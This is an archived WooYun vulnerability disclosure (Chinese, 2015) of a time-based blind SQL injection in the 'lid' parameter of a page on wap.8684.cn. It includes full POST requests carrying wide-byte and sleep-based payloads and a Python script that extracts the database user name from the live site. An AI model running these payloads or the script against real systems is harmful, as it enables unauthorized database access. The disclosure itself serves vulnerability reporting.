当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148895

漏洞标题:8684公交某站存在SQL注入可绕过

相关厂商:8684公交

漏洞作者: 深度安全实验室

提交时间:2015-10-23 14:59

修复时间:2015-10-28 15:00

公开时间:2015-10-28 15:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-23: 细节已通知厂商并且等待厂商处理中
2015-10-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

POST /correct.php?cityid=208 HTTP/1.1
Content-Length: 178
Content-Type: application/x-www-form-urlencoded
Referer: http://wap.8684.cn
Cookie: city_id=208; city_name=%E6%9C%94%E5%B7%9E; ecity=shuozhou; last_bus_from=1; last_bus_to=1; last_train_from=1; last_train_to=1; Hm_lvt_39435912262668f2c8c261584f242c8e=1445531533,1445531533,1445531533; Hm_lpvt_39435912262668f2c8c261584f242c8e=1445531533
Host: wap.8684.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
mod=%e6%8f%90%e4%ba%a4&ck=1&comp=Acunetix&desdw=1&desup=1&htime=1&hx=0&kind=1&ldw=1&lid=%bf'%bf%22+||1=if(length(user())=21,sleep(5),1)#&lname=frojhrkd&lup=1&price=1&qtime=1&yy=1

注入点:lid
#本来是一个款字节报错注入,但是分析了一下不可以利用,因为他会连续执行2条SQL语句。所以构造了一个延迟注入。空格被过滤了,使用||,然后就不需要空格了。
为真时,存在延迟,user长度为21:

11.jpg

为假时,不存在延迟:

22.png


#user的第一位为F(ascii:70):

POST /correct.php?cityid=208 HTTP/1.1
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
Referer: http://wap.8684.cn
Cookie: city_id=208; city_name=%E6%9C%94%E5%B7%9E; ecity=shuozhou; last_bus_from=1; last_bus_to=1; last_train_from=1; last_train_to=1; Hm_lvt_39435912262668f2c8c261584f242c8e=1445531533,1445531533,1445531533; Hm_lpvt_39435912262668f2c8c261584f242c8e=1445531533
Host: wap.8684.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
mod=%e6%8f%90%e4%ba%a4&ck=1&comp=Acunetix&desdw=1&desup=1&htime=1&hx=0&kind=1&ldw=1&lid=%bf'%bf%22+||1=if(ascii(MID(user(),1,1))=70,sleep(5),1)#&lname=frojhrkd&lup=1&price=1&qtime=1&yy=1

55.jpg

111.jpg

222.png

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie':'city_id=208; city_name=%E6%9C%94%E5%B7%9E; ecity=shuozhou; last_bus_from=1; last_bus_to=1; last_train_from=1; last_train_to=1; Hm_lvt_39435912262668f2c8c261584f242c8e=1445531533,1445531533,1445531533; Hm_lpvt_39435912262668f2c8c261584f242c8e=1445531533',
'Content-Type':'application/x-www-form-urlencoded'}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 22):
for payload in payloads:
s = "%%bf%%27%%bf%%22+||1=if(ascii(mid(user(),%s,1))=%s,sleep(5),1)#" % (i, ord(payload))
s = "mod=%e6%8f%90%e4%ba%a4&ck=1&comp=Acunetix&desdw=1&desup=1&htime=1&hx=0&kind=1&ldw=1&lname=frojhrkd&lup=1&price=1&qtime=1&yy=1&lid="+s
conn = httplib.HTTPConnection('wap.8684.cn', timeout=100)
start_time = time.time()
conn.request('POST','/correct.php?cityid=208',s,headers)
h=conn.getresponse().read()
conn.close()
print '.',

if time.time() - start_time > 5.0:
user += payload
print '\n\n[in progress]', user,
break
print '\n[Done] MySQL user is %s' % user

漏洞证明:

修复方案:

版权声明:转载请注明来源 深度安全实验室@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-28 15:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论